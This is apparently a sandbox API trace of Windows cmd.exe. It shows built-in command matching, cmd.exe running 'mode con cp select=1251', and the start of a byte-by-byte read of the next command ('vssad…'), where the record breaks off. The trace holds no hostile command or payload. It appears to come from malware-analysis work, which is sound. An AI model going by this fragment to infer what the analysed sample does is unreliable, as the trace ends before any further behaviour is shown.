	[0137.690] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0137.690] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0137.690] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0137.690] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0137.690] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0137.690] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0137.690] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0137.690] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0137.690] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0137.690] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0137.690] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0137.690] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0137.690] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0137.690] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0137.690] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0137.690] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0137.690] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0137.691] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0137.691] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0137.691] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0137.691] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0137.691] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0137.691] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0137.691] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0137.691] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0137.691] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0137.691] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0137.691] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0137.691] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0137.691] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0137.691] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0137.691] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0137.691] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0137.691] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0137.691] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0137.691] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0137.691] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0137.691] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0137.691] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0137.691] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0137.691] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0137.691] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0137.691] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0137.691] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0137.691] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0137.692] ??_V@YAXPEAX@Z () returned 0x1
	[0137.692] GetProcessHeap () returned 0x28860f10000
	[0137.692] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xffde) returned 0x28860f18e90
	[0137.692] GetProcessHeap () returned 0x28860f10000
	[0137.693] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x42) returned 0x28860f17880
	[0137.693] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0137.693] malloc (_Size=0xffce) returned 0x28861110820
	[0137.693] ??_V@YAXPEAX@Z () returned 0x28861110820
	[0137.693] GetProcessHeap () returned 0x28860f10000
	[0137.693] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1ffac) returned 0x28860f28e80
	[0137.695] SetErrorMode (uMode=0x0) returned 0x0
	[0137.695] SetErrorMode (uMode=0x1) returned 0x0
	[0137.695] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x28860f28e90, lpFilePart=0xb15814ed40 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xb15814ed40*="system32") returned 0x13
	[0137.695] SetErrorMode (uMode=0x0) returned 0x1
	[0137.695] GetProcessHeap () returned 0x28860f10000
	[0137.695] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f28e80, Size=0x42) returned 0x28860f28e80
	[0137.695] GetProcessHeap () returned 0x28860f10000
	[0137.695] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f28e80) returned 0x42
	[0137.695] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0137.695] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0137.695] GetProcessHeap () returned 0x28860f10000
	[0137.695] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1b6) returned 0x28860f178d0
	[0137.695] GetProcessHeap () returned 0x28860f10000
	[0137.695] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x35c) returned 0x28860f28ee0
	[0137.705] GetProcessHeap () returned 0x28860f10000
	[0137.705] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f28ee0, Size=0x1b8) returned 0x28860f28ee0
	[0137.705] GetProcessHeap () returned 0x28860f10000
	[0137.705] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f28ee0) returned 0x1b8
	[0137.705] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0137.706] GetProcessHeap () returned 0x28860f10000
	[0137.706] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xe8) returned 0x28860f290b0
	[0137.707] GetProcessHeap () returned 0x28860f10000
	[0137.707] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f290b0, Size=0x7e) returned 0x28860f290b0
	[0137.707] GetProcessHeap () returned 0x28860f10000
	[0137.707] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f290b0) returned 0x7e
	[0137.708] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0137.708] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xb15814eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb15814eab0) returned 0x28860f29140
	[0137.909] GetProcessHeap () returned 0x28860f10000
	[0137.909] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x0, Size=0x28) returned 0x28860f16540
	[0137.909] FindClose (in: hFindFile=0x28860f29140 | out: hFindFile=0x28860f29140) returned 1
	[0137.977] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xb15814eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb15814eab0) returned 0x28860f29140
	[0137.977] GetProcessHeap () returned 0x28860f10000
	[0137.977] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f16540, Size=0x8) returned 0x28860f16540
	[0137.977] FindClose (in: hFindFile=0x28860f29140 | out: hFindFile=0x28860f29140) returned 1
	[0137.977] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0137.977] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0137.977] ??_V@YAXPEAX@Z () returned 0x1
	[0137.977] GetConsoleTitleW (in: lpConsoleTitle=0xb15814f030, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0138.429] GetProcessHeap () returned 0x28860f10000
	[0138.429] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x21c) returned 0x28860f29140
	[0138.429] GetConsoleTitleW (in: lpConsoleTitle=0x28860f29150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0138.429] GetProcessHeap () returned 0x28860f10000
	[0138.429] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f29140, Size=0x8c) returned 0x28860f29140
	[0138.429] GetProcessHeap () returned 0x28860f10000
	[0138.429] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f29140) returned 0x8c
	[0138.429] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0138.434] GetProcessHeap () returned 0x28860f10000
	[0138.434] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f29140) returned 1
	[0138.434] InitializeProcThreadAttributeList (in: lpAttributeList=0xb15814ef50, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xb15814ee40 | out: lpAttributeList=0xb15814ef50, lpSize=0xb15814ee40) returned 1
	[0138.434] UpdateProcThreadAttribute (in: lpAttributeList=0xb15814ef50, dwFlags=0x0, Attribute=0x60001, lpValue=0xb15814ee2c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xb15814ef50, lpPreviousValue=0x0) returned 1
	[0138.434] GetStartupInfoW (in: lpStartupInfo=0xb15814eee0 | out: lpStartupInfo=0xb15814eee0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0138.434] GetProcessHeap () returned 0x28860f10000
	[0138.434] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x20) returned 0x28860f17610
	[0138.434] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0138.434] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0138.434] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0138.434] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0138.435] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0138.436] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0138.436] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0138.436] GetProcessHeap () returned 0x28860f10000
	[0138.436] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f17610) returned 1
	[0138.436] GetProcessHeap () returned 0x28860f10000
	[0138.436] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x12) returned 0x28860f17610
	[0138.436] _get_osfhandle (_FileHandle=1) returned 0x254
	[0138.436] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0138.436] _get_osfhandle (_FileHandle=0) returned 0x248
	[0138.436] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0138.436] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xb15814ee70*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb15814ee48 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0xb15814ee48*(hProcess=0x98, hThread=0x94, dwProcessId=0xe84, dwThreadId=0xe88)) returned 1
	[0138.495] CloseHandle (hObject=0x94) returned 1
	[0138.495] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0138.495] GetProcessHeap () returned 0x28860f10000
	[0138.495] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f16570) returned 1
	[0138.495] GetEnvironmentStringsW () returned 0x28860f16570*
	[0138.495] GetProcessHeap () returned 0x28860f10000
	[0138.495] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xafe) returned 0x28860f29540
	[0138.495] FreeEnvironmentStringsA (penv="=") returned 1
	[0138.495] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb42bb0000
	[0138.495] GetProcAddress (hModule=0x7ffb42bb0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb42c556b0
	[0138.495] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xb15814e348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xb15814e348, ReturnLength=0x0) returned 0x0
	[0138.495] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xa3d0f0c000, lpBuffer=0xb15814e380, nSize=0x7a0, lpNumberOfBytesRead=0xb15814e340 | out: lpBuffer=0xb15814e380*, lpNumberOfBytesRead=0xb15814e340*=0x7a0) returned 1
	[0138.495] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0147.680] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xb15814edc8 | out: lpExitCode=0xb15814edc8*=0x0) returned 1
	[0147.680] CloseHandle (hObject=0x98) returned 1
	[0147.680] _vsnwprintf (in: _Buffer=0xb15814ef98, _BufferCount=0x13, _Format="%08X", _ArgList=0xb15814edd8 | out: _Buffer="00000000") returned 8
	[0147.680] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0147.680] GetProcessHeap () returned 0x28860f10000
	[0147.680] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f29540) returned 1
	[0147.680] GetEnvironmentStringsW () returned 0x28860f2ab80*
	[0147.680] GetProcessHeap () returned 0x28860f10000
	[0147.680] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb24) returned 0x28860f2b6b0
	[0147.681] FreeEnvironmentStringsA (penv="=") returned 1
	[0147.681] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0147.681] GetProcessHeap () returned 0x28860f10000
	[0147.681] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f2b6b0) returned 1
	[0147.681] GetEnvironmentStringsW () returned 0x28860f2ab80*
	[0147.682] GetProcessHeap () returned 0x28860f10000
	[0147.682] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb24) returned 0x28860f2b6b0
	[0147.682] FreeEnvironmentStringsA (penv="=") returned 1
	[0147.682] GetProcessHeap () returned 0x28860f10000
	[0147.682] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f17610) returned 1
	[0147.682] DeleteProcThreadAttributeList (in: lpAttributeList=0xb15814ef50 | out: lpAttributeList=0xb15814ef50) 
	[0147.682] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0147.916] ??_V@YAXPEAX@Z () returned 0x1
	[0147.916] _get_osfhandle (_FileHandle=1) returned 0x254
	[0147.916] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0147.916] _get_osfhandle (_FileHandle=1) returned 0x254
	[0147.916] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7c211fc08 | out: lpMode=0x7ff7c211fc08) returned 0
	[0147.916] _get_osfhandle (_FileHandle=0) returned 0x248
	[0147.916] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7c211fc0c | out: lpMode=0x7ff7c211fc0c) returned 0
	[0147.916] GetConsoleOutputCP () returned 0x4e3
	[0147.917] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0147.917] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f290b0) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f28ee0) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f178d0) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f28e80) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f17880) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18e90) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f16500) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f16330) returned 1
	[0148.060] GetProcessHeap () returned 0x28860f10000
	[0148.060] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f177c0) returned 1
	[0148.060] _vsnwprintf (in: _Buffer=0x7ff7c2127f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb15814f378 | out: _Buffer="\r\n") returned 2
	[0148.061] _get_osfhandle (_FileHandle=1) returned 0x254
	[0148.061] GetFileType (hFile=0x254) returned 0x3
	[0148.061] _get_osfhandle (_FileHandle=1) returned 0x254
	[0148.061] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0148.061] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb15814f348, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f348*=0x2, lpOverlapped=0x0) returned 1
	[0148.061] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0148.061] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x288610e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0148.061] _vsnwprintf (in: _Buffer=0x288610f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xb15814f388 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0148.061] _vsnwprintf (in: _Buffer=0x288610f0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xb15814f388 | out: _Buffer=">") returned 1
	[0148.061] _get_osfhandle (_FileHandle=1) returned 0x254
	[0148.061] GetFileType (hFile=0x254) returned 0x3
	[0148.061] _get_osfhandle (_FileHandle=1) returned 0x254
	[0148.061] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0148.061] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xb15814f378, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f378*=0x14, lpOverlapped=0x0) returned 1
	[0148.061] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.061] GetFileType (hFile=0x248) returned 0x3
	[0148.061] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.061] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.062] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.062] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0148.062] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.062] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.062] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.062] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0148.062] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.062] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.062] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.062] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0148.062] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.062] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.062] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.062] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0148.062] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.062] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.062] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.062] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0148.062] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.062] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.063] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
